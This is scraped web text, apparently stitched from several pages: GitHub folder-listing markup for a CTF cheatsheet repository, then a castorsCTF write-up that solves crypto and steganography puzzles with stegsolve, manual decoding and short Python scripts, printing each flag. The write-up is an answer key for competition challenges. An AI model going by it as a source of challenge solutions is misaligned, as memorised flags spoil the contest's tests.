<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":227519400,"originating_url":"https://github.com/prince-7/CTF_Cheatsheet/tree/master/Scripting","user_id":null}}" data-hydro-click-hmac="085368299d23dac3c4d56fd90868f37497f694534fa7d9fdb23a069b7222f437"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/prince-7/CTF_Cheatsheet/refs" cache-key="v0:1576124941.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="cHJpbmNlLTcvQ1RGX0NoZWF0c2hlZXQ=" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/prince-7/CTF_Cheatsheet/refs" cache-key="v0:1576124941.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="cHJpbmNlLTcvQ1RGX0NoZWF0c2hlZXQ=" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF_Cheatsheet</span></span></span><span>/</span>Scripting<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTF_Cheatsheet</span></span></span><span>/</span>Scripting<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/prince-7/CTF_Cheatsheet/tree-commit/f7b1b1d52dc91bd14bdecfb31744e4685f702980/Scripting" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/prince-7/CTF_Cheatsheet/file-list/master/Scripting"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>dictionary.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>gnomefight.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>holly.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>solve.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
# Crypto
## Goose ChaseChallange Description: ``` There's no stopping this crazy goose.+2 PNG File```Challange gives us two different .png files. Both have strange looked strip at the bottom. So using `stegsolve` to combine them. And it gives the flag.

## One Tricky PonyChallange Description: ```nc chals20.cybercastors.com 14422```
It returns hex values when entered random characters. Then try to enter some spaces in it. And then it gives ```b'CASTORSctf[K\x13\x13P\x7fY\x10UR\x7fK\x13Y\x15\x7f\x15\x13CR\x13\x17\x7f\x14ND\x7fD\x10N\x17\x7fR\x13U\x15\x13\x7f\x17H\x13M\x01]```
By using the [ASCII Table](https://bluesock.org/~willg/dev/ascii.html) and manually decode every hex value. And the flag is ``` castorsCTF{k33p_y0ur_k3y5_53cr37_4nd_d0n7_r3u53_7h3m!}```
## Magic School BusChallange Description:```nc chals20.cybercastors.com 14422Flag is slightly out of format. Add underscores and submit uppercase```There is two options. The second one gives the flag with changing the order and making them uppercase. This was the given flag:```SCNTGET0SKV3CTNESYS2ISL7AF4I0SC0COM5ORS31RR3AYN1```And in the first option it change the given letter to uppercase and if you write multiple characters it change the order. Need to find how it change the order. To find it gave it 46 char lenght of string that has not same char in it. ```Input:ABCDEFTGHIJKLMNOPRSTVYZXWQÖÇÜĞŞİ1234567890€₺½¾Output:TNZŞ7DKTÇ4½AHPW19CJSÖ3€BIRQ20GOİ8ELVÜ5¾FMYĞ6₺```Then check and note how it change the order by each index. Then apply by reversely on the given flag.The flag is:```CASTORSCTF{R3C0N4ISSANCE_IS_K3Y_TO_S0LV1NG_MYS73R1E5}```
## Two PathChallange Description:```The flag is somewhere in these woods, but which path should you take?```
Using ```strings``` on the image and it gives us a binary.
```01101000 01110100 01110100 01110000 01110011 00111010 00101111 00101111 01100111 01101111 00101110 01100001 01110111 01110011 00101111 00110010 01111010 01110101 01000011 01000110 01000011 01110000 ```When decode it gaves this link:```https://go.aws/2zuCFCp```Where we can find a lot of random emojies like:```♈♓♒??♉❌?♏♉❌⏺♓♒♊!_⏺?_?♓?_♈♉♒_?✖♉⛎_❌⏫⏺♊,_❌⏫✖♒_?♓?_⏫♉➗✖_♊♓♏➗✖⛎_❌⏫✖_♈⏺♑⏫✖?!_?✖_➿?♊❌_⏫♓♑✖_?♓?_?♓?♒⛎_♉_Ⓜ♓?✖_✖??⏺♈⏺✖♒❌_?♉?_?♓?_⛎✖♈⏺♑⏫✖```Need to decode this but to decode it we need more. So return to the image and ```stegsolve``` on it. When we change the color settings the hidden link appear in the left bottom corner. The page is named ```decode-this``` .```https://go.aws/2X1R6H7```In this link there is a chat between two people. One is texting and other only using emojies. Guessed some of the words that the second person said eg. ```hi! ``` and ```you?```. By using these letters found all alphabet in emojies. ```♉: A♌: B♈: C⛎: D✖ : E?: F?: G⏫: H⏺: I?: K♏: LⓂ: M♒: N♓: O♑: P?: R♊: S❌: T?: U?: Y?: Z?: W?: X``` Then search castorsCTF by using emoji alpahbet in the ```decode-this``` website. The flag is:```castorsCTF{sancocho_flag_qjzmlpg}```
## Jigglypuff's SongChallange Description:```Can you hear Jigglypuff's song?```
Use ```stegsolve``` on it and and then do ```data analyze``` on it with cheking only the RGB 7 boxes. The flas is in the text. ```castorsCTF{r1ck_ r0ll_w1lln3v3r d3s3rt_y0uuuu}```
## AmazonChallange Description:```Are you watching the new series on Amazon?198 291 575 812 1221 1482 1955 1273 1932 2030 3813 2886 1968 4085 3243 5830 5900 5795 5628 3408 7300 4108 10043 8455 6790 4848 11742 10165 8284 5424 14986 6681 13015 10147 7897 14345 13816 8313 18370 8304 19690 22625```Description gaves two hints. One is ```prime``` other is ```series```. Write a script to divide every number to the prime number which has the same index.
```pythonimport string
numbers = ['198', '291', '575', '812', '1221', '1482', '1955', '1273', '1932', '2030', '3813', '2886', '1968', '4085', '3243', '5830', '5900', '5795', '5628', '3408', '7300', '4108', '10043', '8455', '6790', '4848', '11742', '10165', '8284', '5424', '14986', '6681', '13015', '10147', '7897', '14345', '13816', '8313', '18370', '8304', '19690', '22625']
primes = ["2","3","5","7", "11","13","17","19", "23","29","31","37", "41","43","47","53", "59","61","67","71", "73","79","83","89", "97","101","103","107", "109","113","127","131", "137","139","149","151", "157","163","167","173", "179","181"]
parts = []
for i in range(len(numbers)): parts.append(int(numbers[i]) // int(primes[i]))
flag = ""for part in parts: print(chr(part), end="")```And the flag is:```castorsCTF{N0_End_T0d4y_F0r_L0v3_I5_X3n0n}```Authors: * https://github.com/ahmedselim2017* https://github.com/zeyd-ilb## 0x101 DalmatiansChallange Description:```Response to Amazon: Nah, I only need to be able to watch 101 Dalmatians.
c6 22 3d 29 c1 c5 9c f5 85 e7 d7 0e 46 e6 21 e7 dd 8d db 43 a0 34 77 04 7f 32 13 8c c9 01 65 78 5f c0 14 8e 33 bf bc 02 21 79 e1 5d d3 46 e0 ca ee 72 c2 26 38```Challange says it response to Amazon so it should be again about prime series.
```pythonprimes = ["2","3","5","7","11","13","17","19","23","29","31","37","41","43","47","53","59","61","67","71","73","79","83","89","97","101","103","107","109","113","127","131","137","139","149","151","157","163","167","173","179","181","191","193","197","199","211","223","227","229","233","239","241","251","257"]
all_ct = "198 34 61 41 193 197 156 245 133 231 215 14 70 230 33 231 221 141 219 67 160 52 119 4 127 50 19 140 201 1 101 120 95 192 20 142 51 191 188 2 33 121 225 93 211 70 224 202 238 114 194 38 56".split()
alphabet = ["}","{","c","w","e","r","t","y","u","ı","o","p","a","s","d","f","g","h","j","k","l","i","z","x","q","v","b","n","m","Q","W","E","R","T","Y","U","I","O","P","A","S","D","F","G","H","J","K","L","Z","X","C","V","B","N","M","_","1","2","3","4","5","6","7","8","9","0"]
prime = primes[0]mod = 0x101
def bf(): for i in range(53): ct = all_ct[i] for b in primes: for u in alphabet: if ord(u) * int(b) % mod == int(ct): if primes.index(b) == i: print(u, end="") bf()```Output:```castorsCTF{1f_y0u_g07_th1s_w1th0u7_4ny_h1n7s_r3sp3c7}```Authors: * https://github.com/ahmedselim2017* https://github.com/zeyd-ilb |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
